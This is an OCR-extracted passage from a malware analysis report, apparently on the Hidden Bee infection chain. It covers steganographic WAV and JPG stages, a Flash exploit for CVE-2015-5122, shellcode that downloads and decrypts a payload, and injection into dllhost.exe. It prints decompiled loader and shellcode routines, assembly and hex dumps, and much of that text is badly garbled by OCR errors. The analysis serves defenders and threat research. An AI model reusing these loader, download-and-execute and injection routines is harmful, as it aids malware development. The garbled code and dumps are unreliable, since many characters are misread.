w18 = i + 16 - v16;

do

{
++inde;
*v16 = v16[v18] ~ @xEl;
+vl6;

h
while ( indx < *({_DWORD *}i + 2) };
_to _rcx_ptr = to_rcx_ptr;

allocated bufl = (unsigned _ intl6 *)_allocated_bufl;
if ( decode_module(
(int)&virtualalloc,// loaded_functions_list
(int)buffer,
*((_DWORD *)i + 2),
(int)_allocated_bufl,
F((_DWORD *)i 4 3)) == *((_DWORD *)i + 3) )
new_module_ep = allocated bufl;
v2@ = GetProcessHeap(@®, buffer});
RtlFreeHeap(v2e);
if ( new_module_ep )
((void (_ stdeall *)(int (_ stdcall **)(_DWORD, _DWORD, signed int, signed int), int, _DWORD, _DWORD)}new module ep)(
&virtualalloc, // loaded_functions_list
flag,
_to_rcx_ptr[1],
*_to_rcx_ptr);

result = (unsigned _ intlé *)VirtualFree(_allocated_bufl, @, @x3000);

Inside the second shellcode, we see strings referencing further components of the Hidden Bee malware:
/bin/i386/preload /bin/i386/coredll.bin

The role of the second stage is unpacking another part from the !rcx: an !rdx package.

if (Crdx ptr )

w32 = v18[3];
crypt_init(&crypt ctx, &crypt keybuf);
dec_size = @;
if ( wie[2] )

{
chunk_ptr = (_BYTE *)sizea;
for { 1 = (int)((char *)v18 - sizea + 16); ; i = (int)}({{char *)vl@ - sizea + 16} )
1
crypt_round{chunk_ptr, &chunk_ptr[i], (int)&crypt_ctx);
dec_size += 16;
chunk_ptr += 16;
if ( (unsigned int)dec_size »= v1e[2] )
break;
b

rdx_ptr = _rdx_ptr;

if ( decompress{(int)functions_list, (int)rdx_ptr, &332, sizea, v18[2]) )
goto LABEL_38;
w17 = ((int (__stdcall *)(signed int, signed int))}functions_list[2])(8, 12);

w18 = (_DWORD *)((int (__stdcall *)(int))functions_list[3])(v17)};
v3id = vl1g;
if ( 'vis )

goto LABEL_38;
*v18 = rdx_ptr;
if ( *rdx ptr == ‘fdr!’
1
v18[1] rdx_ptr + 13
v1g[2] = vie[3];

}
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aeeessly mov [eax], ebx
aeeerslE cmp dword ptr [ebx], 'xdr!’
@eeae621 jnz short loc 631

From our previous experience, we know that the !rdx package is a custom filesystem containing modules. Indeed,

after the decryption is complete, the custom filesystem is revealed:

HESEESER FUSH ERX
HASEESE 1 CALL HBESEZESE crypt_init
HASEESEE AHD OWORD FTE S5:[EEBF+EXC]. G:&
HASEESER CHF OWORD PTR DS:[ESI+E4S],@xE
HESEEEEE |+ | JEE SHORT HBRSSHSF2

BASEEECH HMal EEX, OWORD FTE S5:[EEF+8x18]
BASEESCS LEA ERX,DOWORD PTR DS:[ESI+@x18]
BESEESCE SUE ERH, EBX

HESEESCE MO OWORD FTRE S5: [EEF+EXE1. EAX
FESEESCE [+ | JHP SHORT EBRS&RS0E

HASEESCD Mal ERx, OWORD FTR S5:[EEBF+E25]
BASEES0R LER ECX,OWORD PTR 55:[EBP-8u15C]
HESEEE0E ROD ERX, EBX

BASEEE0S FUSH ECH

BASEES0Y FUSH ERX

BESEES0A FUSH EEX

HESEES0E CALL BBS&z192 crypt_round
HESEESER AOD OWORD FTR S5:[EEF+8MC]. 0= 19
HHSEESES AODO EE:X, Ex 1@

HASEEASET Mo ERX, OWORD FTE S5: [EEBF+ExC]
HESEESER CHP ERX, OWORD PTE DS:[ESI+E#E]
BEASEESED |~ | JE SHORT GAS&ESCD

BASEESEF MOL EEX, OWORD FTRE S5: [EEF-B8181
BESEESF 2 FUSH OWORD PTR DOS5:CESI+@xE]
HESEESFS LER ERx, OWORD PTR S55: [EBFP-B2C]
HESEESF S FUSH OWORD PTR 55: CEEP+@:168]
HHSEESFE FUSH ERX

HASEESFC FUSH EEX

HHSEEEFD FUSH EDI

CALL B8SEBEAE

ARG E TEST ERX,ERAX

BESEEEES [+ | JHE SHORT BBS&EE4E

HESEEEET FUSH &xiC

FHSEEEED FUSH &x3

CHLL DHERD FTR DO5:CEDI+@R:3] kernel32.GetProcessHeap

e e e TR

4
ERx=BE88E8EHE

Address | Hen dump ASCIT

gizipadclzl 72 64 FEIZ2 BE DR B0 ED @1 DB B0 20 G5 08 08| frda'™.. .70, 08,
HlzigEcs| 62 69 6E ZF 69 22 38 3¢ 2F ¥@ 72 65 &C &F &1 4| bin-iZ8é-preload
HisiBEcc| 08 B0 45 A8 08 B8 60 B3 08 B8 BA 2C 81 88 62 69| ..E...rll. .. B.b1
BisieErs|6E 2F 61 6D &4 35 34 2F 63 6F 72 65 &4 6L &0 ZE|n-amdéd-coredll.
EizipEzci 62 69 EE BB DA &4 OB B0 BB &D 24 Bl B8 B8 89 08 bin..d...mdB....
EizipEscied 62 €9 6B 2F &1 D 64 26 24 2F 7O ¥2 &£ &C &F|.binsamdedsprelo
EiziBEns 61 &4 BE BB OF B0 BE B0 S0 20 Bl B0 18 G5 00 00) ad..g... ;=B k..
GiziBEps 62 €9 EE 2F &9 22 22 26 2ZF &B 7@ 6C EF &1 &4 &5\ bin-i288-kploade
@lzi@EEce| v2 ZE 62 69 SE BB DA AD 0B @0 BE YD 42 @1 688 08| r.bin..g... 2B0..
BlzigEns| 10 88 68 62 &9 6E 2F 61 &0 &4 26 34 ZF &2 &F &D|..bin<amd&d-con
HisiBEES| 60 6F 6E ZE &4 &C &C B0 BA CE 98 828 88 70 SE Bl mon.dll..fFa.. 30
BisiBEFS| B8 B0 45 B8 B8 &2 &9 6E ZF 69 33 38 36 ZF 6B 6C|..E..bin~s1386-k ]
EiziBEinsfeF &1 &4 65 Y2 ZE &2 69 E6E @O BB ES B0 B8 88 70| ocader.bin..fi...}
Ei2iEiicfA2 61 B 62 OF BB BR &2 &9 6E 2F ¥2 &8 &9 &0 ZE|uB.h-..binsshim.
Eizi@izelel €9 EE BB 0E @Y B1 B0 BB EE DR B1 BB 20 60 08 bin..-8..6 B.0..
Gizimizoion 62 &9 6E|ZF &1 6D 64 26 24 2ZF ¥B F2 2ZE &2 69| .binsamdédspr.bi
Ei2i@E142(6E ZE 72 69 5F BB DA 22 01 @0 0B &5 AE Bl 88 28| n.zig..(8..e30.0
Hizi@icc|og 80 B8 62 &2 6E ZF 69 35 3% 26 2F F8 ¥2 ZE &2|...binsiZ86-pr.b
BisiEics| 6% 6E 2E 73 6% &7 DA B0 45 81 B8 B8 ES HE 81 08| in.sig..FB. 620,
Hisi@ivc|oa BH B8 B8 52 &9 6E 2F &1 60 &4 36 34 2F 7B 72| ....bin- andéd- pr
Eizi@ise| 2B 62 €9 6E DA BB &2 A1 BB B8 ES BS 81 B8 80 02 .bin..cd..hAB..0
Eizi@icociod BE 62 &9 6B 2F €9 223 28 26 2F VO F2 2E 62 €9 ..bin-si22cspr.bi
Ei2i@Einsf6E GO BE 27 6] B0 GE EE BD @1 0B FO BE 08 G0 &2\ n..ql..h20.-%..b
Gizi@ipe| e 6E 2F &1 6D &4 26 24 2ZF EB 7@ &C EF &1 &4 &E| insamdéd-kploade
@i2i@ice|v2 ZE 62 69 SE BB DA AZ Bl @0 6@ DS C2 @l 688 08| r.bin. .EB..AME..
Hizi@ibs| 16 88 B8 62 &2 6E ZF 69 33 3% 26 2F &2 &F &0 &D| ... bin~ 1386 comm
Bi21B1ES|6F 6E 2E &4 6L &C BB B8 CH 81 B8 B8 DS 0P 81 08 on.dll. .8, .FHE,
gisi@iFcioa ZE 81 88 62 &9 6E 2F 69 33 38 36 ZF 63 &F 72| ..8.bin-i386-cor
EiziEzas 65 &4 6C &C ZE &2 €9 EE DB BE BB B0 B8 B8 DS 67 edll.bin...... -
EiziEz1oi@2 60 28 B2 0@ B8 &2 69 6E 2F &1 60 &4 26 24 2F| e (M. binsamdéds
Eizipzzol el 6C 6F &1 &4 65 72 2E &2 €9 6E BO BB 98 98 98|k loader.bin..EEE
Ei2iE=22 B2 2E OO G0 0F B0 DR B0 OB B0 0B B0 OB B GE O RM. . ...cciieana
GiziBz40| 08 B0 60 A0 08 B0 OB B0 DB B0 0B B0 BB SB OB E5| ... ..0000.. koe
HlziE=tcioa 72 B8 6E DB &5 DB &C B8 33 08 32 88 ZE 88 24| .r.n.e. 13020, .d
BisiBzcc{oa 6C B8 &6C 0A BE O BS BA AR AR AR FF 38 FF S8 . l.l... ap
gisi@=rs{@4 FF EB S8/ 5B CC SB DB 53 ER B2 52 51 S8 ES 7H| # OxilrddarfREPR:
EiziE=22{ @2 80 68 C3/ 55 8B EC 82 EC @C 2B 4588 29 45 FCle., HUodag. GEQEER
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So the part that was hidden in the JPG is, in reality, a package that decrypts the custom filesystem and deploys the
next stage modules: /bin/1386/preload and

/bin/i386/coredll.bin

. This filesystem has even more elements that are loaded at later stages of the infection. Their full functionality

will be described in the next article in our series.
Even more hidden

From the beginning, Hidden Bee malware has been well designed and innovative. Looking at one year of its
evolution, we can be sure that the authors are serious about making it even more stealthy—and they don’t stop

improving it.

Although the initial dropper uses components analogous to ones observed in the past, revealing their encrypted
content now takes many more steps and much more patience. The additional difficulty in the analysis is

introduced by the fact that the URLs and encryption keys are never reused, and work only for a single session.

The team behind this malware is skilled and determined. We expect that the Hidden Bee malware won’t be going

extinct anytime soon.

wuen f
3329 if(_loeS7_ != 0)

3330 {

3 _loe53_ = 1i32{_loc57_);

3332 ESF = _loc5_ & -167

3333 var _loclé_:ByteRrray = new ByteRrray();

3334 CModule.readBytes (int (_loc57_ + 4),_loc53_, _loclé )

32335 ESF = _loc5_ & -167

3336 ESP = _locS_ & -16;

3337 new Loader().contentloaderInfo.addEventlistensr("c ce', paramd) ;
3338 ESF = _loc5_ & -16;7

3339 var _loc69_:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain];
3340 ESF = _loc5_ & -167

3341 _loc69_.applicationDomain = ApplicationDomain.currentDomain;

3342 ESP = _locS_ & -16;

3343 _locéd .zllowCodelmport = truer

3344 ESP = locS_ & -167

3345 new Loader().loadBytes {Jlnclﬁ_,_lncﬁg_! e

3344 _loe5_ = int{_lec5_ - 18);

3347 3132(_loc57_,_locS_):

3348 ESF = _loc5_;

3349 F_idalloc();

3350 _loc5_ = int{_locS_ + 14);

3351 _loc28_ = new Loader({);

3352 }

The first WAV: a Flash exploit

The decoded WAV contains a package with two elements embedded: a Flash file (movies.swf) and the
configuration file (config.cfg). The decrypted data starts from the magic DWORD 0xCAFEBABE, which we

noticed in the code of the previous SWF.
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i iexplore.exe.dmp

Offset(n) 00 01 02 03 04 05 06 07 02 09 OA OB OC OD OE OF Decoded text
07763B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +evveeununrnenns
07763B20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +evveeunnurnenns
07763B30 00 52 49 46 46 04 BC 00 00 57 41 56 45 66 6D 74 .RIFF.S..WAVEfmt
07763B40 20 10 00 00 00 01 00 01 00 20 3E 00 00 00 7D 00  ........ €>...1.
07763B50 00 02 00 10 00 64 61 74 €1 EO 8B 00 00 33 &8 C2 ..... datafe..354
07763B60 4E 99 31 TA BE 6F 34 F6 AS F7 A8 AF 10 F3 07 C2 N™1z,048R+"Z.6.4
07763B70 46 BT 31 4E B3 28 9E FF 14 9F 1F 92 14 1F 8B 08 F-INZ.% .Z....<.
07763680 00 00 00 00 00 00 03 00 72 80 8D 7F FETNpgae ........ rel.[IstE
07763B30 3C 00 00 00 02 00 00 00 24 00 00 00 3C 00 00 00 <....... §...<

07763BA0 2D 2B 00 00 30 00 00 00 €9 2B 00 00 3C 00 00 00 —¢..0...i¢..<...
07763BBO0 2F &0 6F 76 69 65 73 2E 73 77 66 00 2F 63 6F 6E /movies.swf./con
07763BCO 66 63 67 2E €3 66 67 00 43 57 53 18 TF FF 00 00 fig.cfg.CWS.. ..
07763BD0 78 SC EC BD 77 5C 55 47 D7 2F 3E B3 67 EF B3 4F x3& w\UGx/>kgdi0

The Flash file (movies.swf) contains an embedded exploit. In the analyzed case, the exploit used is CVE-2015-

5122, however, a different exploit may be used on a different machine:

& | flash2. swf
Q header
_:J shapes
] sprites
H frames
|| others
|\ seripts
B cwe_2015_5122 fla
E-A

—<»  Bufton_disabledSkin
—»  Button_downSkin

—»  Bufton_emphasizedSkin
—<»  Bufton_overSkin

The payload (shellcode) is stored in form of an array (binary version available here:
9aec11{f93b9df14f060f78fbb1b47a2):

1 package

2 |

3 class PayloadWin32

4 {

5

[ public static wvar payload:Vector.<uint> = Vector.<uint>([2420162609,6150450447,1620856352,1768,134222080,
7

g

g function PayloadWin3z ()
10 {

11 super({):

12 }

13 }

14 }

15

The configuration file (config.cfg) contains the URL to another WAYV file.

The payload is padded with NOP (0x90) bytes, and the parameters, including the configuration, are filled there

before the payload runs.
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paylEnd = O;
payllength = PayloadWin32.payload.length;
indx = 07
while (indx < paylLength - 1)
i
if (PayloadWin32.payload[indx] = C=S020202C
&& PayloadWin32.payload[indx + 1] = C=S020202C
)
i
paylEnd = ind=x;
break;
}
indx++;
}
if(paylEnd = O}
i
indx = 07
while (indx < paraml.length})
i
Sfwrite parameters at the end of the payload:
PayloadWin32 .payload[paylEnd 4+ indx] = paraml [ind=x]:
indx++;
}
}

The shellcode: downloading the second WAV

The second WAV, in contrast to the first one, is always downloaded and never embedded. It is retrieved by the
“PayloadWin32” shellcode (9aec11{f93b9df14f060f78fbb1b47a2), deployed after the successful exploitation.

Looking inside this shellcode, we find the function that is responsible for downloading and decrypting another
WAV. The shellcode uses parameters that were filled by the previous layer. This buffer contains the URL that will
be queried and the key that will be used for decryption of the payload. It loads functions from wininet.dll using
their checksums. After the initialization steps, it queries the supplied URL. The expected result is a buffer with a
header typical for WAV files.

v2 = al2;
v3 = &input_buffer[-*{unsigned __intle *}input_buffer];
func_checksums = (int)&3[*((unsigned _ intle *}input_buffer + 1)];

buf = &3[*(unsigned _ intl6 *}(func_checksums + @x7@) - *({unsigned _ intl6e *}input_buffer + 2}];
zero_buffer(&functions_list, @wd4Cu);

result = load wininet_functions(v2, (int (_ stdcall **)(char *))&functicns_list, func_checksums});
if ( result )

copy_ 16 bytes(buf, &crypt key); // copy the crypto key
result = download_from_url(v2, &functions list, buf, &module size);
wav_buf = (_BYTE *}result;

if { result )

{

if ( *(_BYTE *)result == * // check the WAV header

R’
&& *( BYTE *)(result + 1) == "I'

&& *( BYTE *)(result + 2) == "F'

&& *(_BYTE *)(result + 3) == "F’

&& *(_DWORD *)(result + 4) <= module_size
&& *( BYTE *)(result + 8) == "W’

&& *(_BYTE *)(result + @xA) == "V’

&& *(_BYTE *)(result + Bx24) == 'd’

&& *( BYTE *)(result + @x26) == "t' )

msize = *{_DWORD *){result + 6x28)};
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As we already suspected, the data of the WAV (starting from the offset 0x2C) contains the encrypted content.
Indeed, blocks that are 8 bytes long are decrypted in a loop:

module size = *({_DWORD *)wav_buf + 8oucA);
if ( wav_buf != (_BYTE *)@xFFFFFFD4 )

if ( I({mSize & 7) )

1
chunk_ptr = wav_buf + 8x2C;
crypt_init((int)}&crypt_ctx, Bcrypt_key, 16);
msize = module_size;

w23 = @;
if { module_size )
1

do

crypt_block((int)}&crypt ctx, chunk ptr, chunk ptr);
v23 += 8;
m5ize = module_size;
chunk_ptr += 8;

¥

while { v23 < module_size };

¥
¥

After the decryption is complete, the next module will be revealed. It is interesting to take a look at the expected
header of the payload to learn which format is used for the output element. This time, the decoded data is

supposed to start with the following magic numbers: 0x01, 0x04, ..., 0x10.

if ( mSize > éxl1C

&% *((_DWORD *)wav_buf + @xE} <= mSize
8% wav_buf[@x2F] == @x18
&% .-.'a'-;_L*.u"&xzc] == 1 // start of the payload header
&% wav_buf[@x2D] == 4
&% mSize > *((_DWORD
&&
23

o

ywav_buf + @x16)
ywav_buf + @xD)
7))

o

mSize > *((_DWORD
P(wav_buf[8x3C] & 3
{
allocated buf = { BYTE *)virtualalloc(®, mSize, @x1988, 0x40);
v23 = (unsigned int}allocated buf;
if ( allocated_buf )

new_module ep = (void (_ stdcall *)(unsigned int *))&allecated buf[*((_DWORD *)wav_buf + @xD)];
copy_buffer(allocated_buf, wav_buf + 8x2C, module_size};
v18 = wav_buf + 8x2C;

v1E

vl7 = w23; // _allocated buffer
vl = @;
vl = 8;
vie = 8;
new_module ep(&v17); // call the decoded paylead
'
VirtualFrees(v23, @, 8x86008);
}
}

The second WAV: an executable in proprietary format

On the illustration below, we can see how the data of the WAV looks after being decrypted
(9b37c9ec19a53007d450b9bI9c8febbe?):

Page 61 of 265


https://malshare.com/sample.php?action=detail&hash=9b37c9ec19a53007d450b9b9c8febbe2

https://blog.malwarebytes.com /threat-analysis /2019 /08 /the-hidden-bee-infection-chain-part-1-the-stegano-pack/

Hddress |Hex dump HSCII

FZEEEEAE| 52 49 46 46/ C4 BE B8 BA 57 41 B6 45 &6 &0 74 28| RIFF—2..WAVEfmt
FRZEEEELA| 1R BE B8 B8 A1 BA A1 BA S0 SE B8 B8 @8 YO A8 88|k, .. B.8.Cx ...,
BZEEEEZH| B2 BB 16 B8 64 &1 74 61 08 BE 60 0F @1 B4 G5 16 @, b.datads . . G,
E2EEEEZE| 10 BA 74 @@ AC GBS B8 @@ 22 BE B8 B0 VO G5 B8 B8|L.t..%.. k2. .ps.
E2EEEE4E| 18 BS B8 B8 BB 66 B8 B8 @9 B8 11 B8 &4 FE GE 66| 5. .. ..., i.d°nf
EEEEEEA| 66 24 6E 66 A6 BE B3 AC BB 26 88 41 4F 58 44 4F| Finff....&.A0X00
EEEEEcE| 46 39 38 24 6E 65 66 BB BB BC B8 B2 B8 4B 4E SC|F285nff....H.KH>
EZEcEETE|{ 4B SR 43 39 28 24 6E 66 S5 DO BB BB @8 B4 B8 49| KEC98Snff. .. %, 1
HZEEEEEE| 6B 68 63 64 6F FE 24 6E A6 65 BB BA BA BE AS BA|khcdo”Snff....*.
EZEEEETE| 47 59 BC 49 58 5E 24 6E 66 65 BB B A8 AR A8 88| GY-IA"5nff......
EZ2EEEEAE|8C EFX AE 97 9F 65 BO 6B 9B SC 88 BE 24 75 82 80| [£+S&F2k T Fafue.
E2EEEEER| 2@ B 82 80D 90 BB 932 IC CA 95 93 IC EE 95 93 1C|ASE. kd=Fa"Far
E2EEEECH| S 2E 6B D2 F9 58 BS& B4 @7 32 BS 58 47 7B B8 S5E| . kE"HA+- 2APG{AU
Gzec@EEnal 11 45 15 4E 89 BF BEY 22 80 AF 02 70D 4F SE AS 63| AESHE_El2-=0MI[Ec
EZEEEEEA| 98 F5 82 B0 22 32 Al 6F 3C CE EE 38 SE DA FO E2| Eué. #2 [o<iFtBA rtd
EZEcEEFE| 58 3F 15 SA FA 34 19 4% FE EE 19 BE ZF 87 D8 1C| KTEZ 44 Imfi+H gEL
EzecElEE| IF BB 81 CF 27 75 80 CA ZE CF 8F 66 9E 33 69 BF| Wy ld'uz=.OCfH3(E
pzeckEllEle3 AL BS 13 97 BF 2C 38 @7 CH ¥E 38 E3 ER 82 28| ciflsSk, 5«*pBAie
E2EEE1ZA|{CE 48 94 @5 1@ C6 95 EB BA AL CO EC 72 AB BF D2|irEd: AL (=g
E2ecElzE|{B2 FL 81 50D B9 16 AD 41 56 F2 39 06 B2 BB DE 11|&“A1| -sAU 97 |#&
A2EAE14G[9C FC SF FS 11 FL1 BF 5F &E 2A 16 74 2F 2E BS AE| #AP 4™ _n#ot~. A=
G2ecBlCE| BB 49 87 VP4 22 @5 BC ER 1¥ SF 28 8F EE Y5 2B 24| [lctafl.i#Sboludd

This is an executable component that is loaded into Internet Explorer. After it decodes the imports, it starts to look

much more familiar:

Address |Hed dump ASCII

azZAsEEEa| Al a4 88 16| 1C B8 74 88| 6AC BS B8 88|52 BE 690 a0|Ge.ko.t. . d. k2.,
EZASEE1E| FE B5 88 G@| 12 BS @9 00|00 00 @8 88|87 00 11 88|pe. . TS i eaead.
BZASEEZA| 6E 74 &4 GC|E&C ZE &4 GC|AC BE B8 AC| A8 26 B8 4B[ntdll.dll... &K
HZASEE3A| 45 52 4E 45|4C 33 32 ZE| 64 &C 6C BA|AB @C B8 88| ERMELZZ.dlLl....03
BZOSEE4E| BB 41 44 55|41 CA 49 58|22 2E &4 EC|&C G 68 GE|.ADUAPTEZ.dLl..d
E2ASERCA| A6 B4 B8 42|61 62 69 BE|EE 74 Z2E 64|EC &C B8 88| .+.Cabinet.dll..
HZ2ASEEEE| BA B0 A5 BB| 40 53 B& 42|52 B4 2E &4|&C &C B8 8AE(| ..+ .MSUCRT.dLL..
BZASE67E| B8 B8 B8 B8| 12 FA 20 77|F8 47 SF 77|E4 AZ 98 77| . ...t 2w-GowWhisw
HZAZEEgE| 1E 3B 9F FF|48 52 9F FF|CB 55 9F FF|CB 52 9F 7F|+; CwESCw -UCw 150w
BZASEE36| 08 54 SF 77| LF 53 92 77|28 50 90 77| TS B2 99 77| LTCWTS (Wi ~EwsbEw
HZASEEAA| C4 73 9@ FF|48 60 9@ FF|68 41 8F FF|ES 57 91 7F|.Om-wwiH" - wihuos
HZASEEEA| 06 3C SF FF|CB 4C SF FF|EE 2ZA BB 77|08 D9 BE 77| i{CwiLCwt#*dud Ju
HZ2ASE8CA| 2B 45 BC 77|41 CF BE 7F|A2 BS BA 77|45 BA BE 77| +E.WwADIwiA. wFl Jw
H2ASEE08| &2 BF BE 77|02 33 BC 7PFP|CF CO BB 77|A4 10 BC 77| b#IwE3. wiFJuwlH.w
BZASEEER| 4F 21 BC FY| 26 2C B0 FY|BE ZF GC FF|FC CA BE 77| 0t uwlki.wAs.wi=ag

We can see that it follows an analogical structure to the one described in last year’s article.

This module is first executed within Internet Explorer. Then, it creates another process (dllhost.exe) in a

suspended state:

EEGEEE 2025 FCFFFFFF |LER ERX,OWORD PTR SS: [EEF-G:241

BZAZEATF =1 ] FUSH ERX

B2ASERS8 1) FUSH ESI

B2ASERS1 56 FUSH ESI

BZAZEASZ &0 &4 FUSH Eud

B2A26EA24 =1 PUSH ESI

B2A2EA25 =1 FUSH ESI

HZAZEAZE j=1-] FUSH ESI

BZA2EASTF 2025 24FOFFFF |LEA ERX,OWORD PTR SS: [EEP-Bx2CC]

azAseRsh =) FUSH ESI

B2ASEASE =15 ] FUSH ERX

H-HEAHEE FF15 2881ASEz2 | CALL DWORD FTR DS5: [Bx2AS01281 kernel32. CreatePraocessil
S5Ca TEST ERx,ERAX

HZAZEAST |~ 74 40 JE SHORT B2A2BREG

1l

Stack address==@AZ21AC1288, (UNICODE =E:\\Nindnwi\\EyEtEMSE\\dllhDEt.eae“]
ERX=BEE0EEE 1

Address |Hex dump ASCII

BZASEEAA| A1 B4 BE 18| 1C BA 74 BA|AC BE B8 BA|E2 EBE B8 6| Ae.bo.t..$. .82,
HZASEE1A| FE B5 B8 BAA| 12 BS B8 BA| A0 B0 B8 AA| A7 BE 11 A6|pe. . T5. ... ..., 1
B2ZASEEZA| 6E 74 &4 BC|EC ZE &4 EC|EC BE BE AC|BA 25 BE 4B ntdll dll....%.
H2ZA2E828| 45 52 4E 45(4C 33 32 2E|64 6C 6C BA|AE GC A8 @A2|ERMELZ2.dll....
HZASEE48| 88 41 44 E&(41 BB 49 22|32 2E &4 &C|EC BE 8@ BE|.ADVARIZZ2.dLL..
BZASE6cE| BB G4 B8 43 61 62 69 EE|65 74 ZE 64|EC EC 6O 60| .e.Cabinet.dll..
HZASE8EE| AR B8 85 88|40 53 56 43|52 54 ZE 64| 6C &C 88 88| ..+ .MSUCRT.dLL..
HZASEETE| 00 B0 88 @8| 12 FA 90 FF|FE 47 9F FF|E4 AS 98 FF|e... 1 2w-GCwidsw
HZASEEEA| 1E 3B 8F FF|48 53 8F FF|CB 55 8F FF|CB 53 8F 7F|+; CWwESCW -UCw 50w
BZASEE3E| 08 54 SF 77| LF 53 92 77|28 50 90 7Y T8 B2 99 Y| LTCWTS [wiEwsbEw
HZASEEAA| C4 73 9@ FF|428 6@ 9@ FF|E2 41 SF FF|EE 57 91 7F|.A=-wwiH™ - wihead
EZASEBER| 08 3C S9F FF|CB 4C SF FF|EE 2A BB 77|08 D9 BE 77| i{Cw'LCwt#*Iud Juw
H2ZASEECHEI 2B 45 BC PFPI41 CF BB PPIA2 BS BA 77l 46 BA BB 77| +E. wASIwifA. wFll 2w

M -

It injects its original copy there (769a05f0eddd6ef2ebdd13618b244758):
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(27 dilhost.exe (2784) Properties

| General I Statistics I Performance | Threads I Token I Modules | Memory | Enyironment I Handles I Comment

Hide free regions
Base address Type Size  Protect... Use Tat
> 0x 10000 Private 128kB RW 1
> 030000 Mapped 1EkE R
> Ox40000 Private 4kB RW
o (50000 Mapped 52kB  RWX
0x50000 Mapped: Com... 52kB  RWX
7| dilhost.exe (2784) (0x50000 - 0:5d000) = ===
ualadalafulals] ﬂl 04 00 10 1lc Oz 74 00 Oc OS5 00 00 88 be 00 00 ...... Lovannanna -

00000010 70 06 00 00 18 & 00 OO0 OO0 OO0 00 00 09 00 11 00 Peveveeannnnnnna (W
00000020 &4 Te &e 66 &6 24 6e 66 &6 00 00 Oc 00 2& 00 41 d~nffsnff....&.R
00000030 4f 58 44 4f 46 39 38 24 6e 66 66 00 00 Oc 00 0F COXDOF38snff.....
00000040 00 4k 4e 5c 4b 5a 43 39 38 24 6e &6 66 00 00 Ob ENNEZCSESnff...
00000050 00 04 00 49 &b 68 63 64 6f Te 24 6e 66 66 00 00 ...Ikhcdo~Snff..

000000680 Oa 00 O& OO0 47 59 5c 49 58 5e 24 &e 66 &6 00 00 ....GY°NIX~&nff..
00000070 00 00 00 00 8c e7 ae 97 9f 66 bd 6k 9 5c 88 Ob ......... k...
00000080 24 75 82 04 30 b8 82 0d 9d bb 93 lc ca 96 93 1lc fu..0...ieueusn
00000030 5e 96 93 1lc 06 2e 6b 43 £9 58 b6 04 07 32 b5 50 ~..... E..E...2.F
00000020 47 Tk 08 55 11 45 15 4e 8% 5 b7 29 &8d af 42 74 G{.U.E.N._.}...}
000000b0 4f 5b &8 63 90 75 82 04 23 32 &l 6f 3c ce ee 30 O[.c.u..#$2.0¢..0
000000cO Be da £d =2 58 3L 15 5a fz 34 19 49 fe e5 1% Oe ....X2.Z2.4.I....
000000d0 2f 87 d8 1lc 1f bb 31 cf 27 75 8d ca 2e cf 8 66 /..... 1."0eunn.. f

Then it redirects execution to its loading function. Below, we can see the Entry Point of the implanted module

within dllhost.exe.

* KernelMode - dilhost.exe - [*G.P.U* - main thread]
File YWiew Debug Plugins Options Window Help

et Bex] wi1] w4 304 ] ) L]E|mTwE]c|sx

FE7424 B3 FUSH OWORD FTRE SS: [ESP+E:E] implanted_modu le_ep
HERSEACED FFE424 @3 CALL DWORD FTR 55: [ESP+EXE]
ERASEACE 1 Cz2 @caa EETH &@urC
HARSACE S =1 FUSH EEP
HEESECES SBEC Moy EEBF,ESP
BEAASACET S3EC 18 SUE ESP, @15
BEAASACER 53 FUSH EEX ntdll.7739714C
BEESECEE 8BS0 18 Moy EEX, OWORD FTR S5:[CEEF+@x151]
ARRSACAF SR FIISH FST
<
Stack S55:[0011F4ECI=BEEECESA
Hddress |Hex dump HSCII

QEECEEAA[ 81 64 68 18| 1C B Y4 88|80 G5 00 88|22 BE 00 00| Be. ot d. . k2.,
BRASEE1A| 7R BS B8 88| 15 BS 08 88|88 B0 60 88|82 88 11 A8 pe. . TS e anaad
BEESEEZA| 64 YE 6E 66|66 24 6E G6| 66 BE BB AC| 88 26 B8 41(d nffinff. ... %,
BABSEEZE| 4F 52 44 4F| 46 39 28 24| 6E 66 66 BE| 88 BC BB @3 0x00F983nff....
BEECEE4E| B8 4B 4E EC| 4B EQ 42 29|28 24 cE 66|66 BO 0O BE(.KM-EZIC925nff. .
BEECEECA| BE B4 BE 49 &R &2 &2 &4|&6F FE 24 EE| 66 S5 DE BE| . 4. Ikhcdovinff.
BEASAECA| BA BA B& B8 47 59 EC 49| E8 BE 24 &GE| &6 &6 0O BA(..s.GYI8"5nff..
BEASEEFA| B8 AR BE B@|2C EY AE 97| 9F &5 ED &B| 9B SC 22 BB|....TE8«38F2kT- b2
QEECEE2E| 24 Y5 S2 60|28 BS 52 60|20 BE 93 IC|CH 25 93 I1C|fug.@85e.knac=ldn
BRASEEZA|SE 25 93 IC| 86 2E 6B D3|F? 55 B 84|87 32 BS S8| “Fi e.kE " xA#*- 2AF
BEASEERA| 47 B B3 55|11 45 15 4E| 32 SF BY 29|30 AF D2 70| GLAU4ESHE_EIZ=0}
BRESEEEA| 4F SB AE 62| 9@ ¥E 82 60|22 32 Hl1 &F|3C CE EE 28| O[EcEues. #tZ iodjftE
BREESEECA| 2E DA FD E2| 58 2F 15 GAIFA 24 19 49| FE EE 19 BE[ArfdEYES 44 Infi+H

» udDe

A detailed analysis of the execution flow of this module and its format will be given later in the article.

At this point, it is important to note that the dllhost.exe is the module that further downloads the aforementioned

images.
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The modules with the custom format

The module with the custom format is analogous to the one described before. However, we can see that it has

significantly evolved.

There are changes in the header, as well as improvements in the implementation.

Changes in the custom format

The new header is similar to the previous one. The few details that have changed are: the magic number at the
beginning (from 0x10000301 to 0x10000401), and the format in which the DLLs are stored (the length of a DLL
name has been added). That’s why we will refer to this format as “0x10000401 format.”

Another change is that now the names of the DLLs are obfuscated by a simple XOR with 1 byte character. They

are deobfuscated just before being loaded.

Ll s =]
Be31150C
@883115D0C decode_func_name:
@8831150C mov cl, [esi+5]
@83115DF xor [eax], cl
@83115E1 mov ecx, [ebpt+arg_e]
@@83115E4 movzx  edx, byte ptr [edi]
@83115E7 inc eax
@B3115E8 add ecx, eax
B83115EA cmp ecx, edx
@83115EC jb shart decocde_func_name
—
\ YVY
| et =
3115EE
3115EE loc_3115EE:
3115EE lea eax, [edit+d]
3115F1 push eax ; _DWORD

3115F2 call ds:Locadlibrarys
3115F8 test eax, eax

3115FA mov [ebptvar_18], eax
3115FD jz short loc 311636

Summing up, we can visualize the new format in the following way:
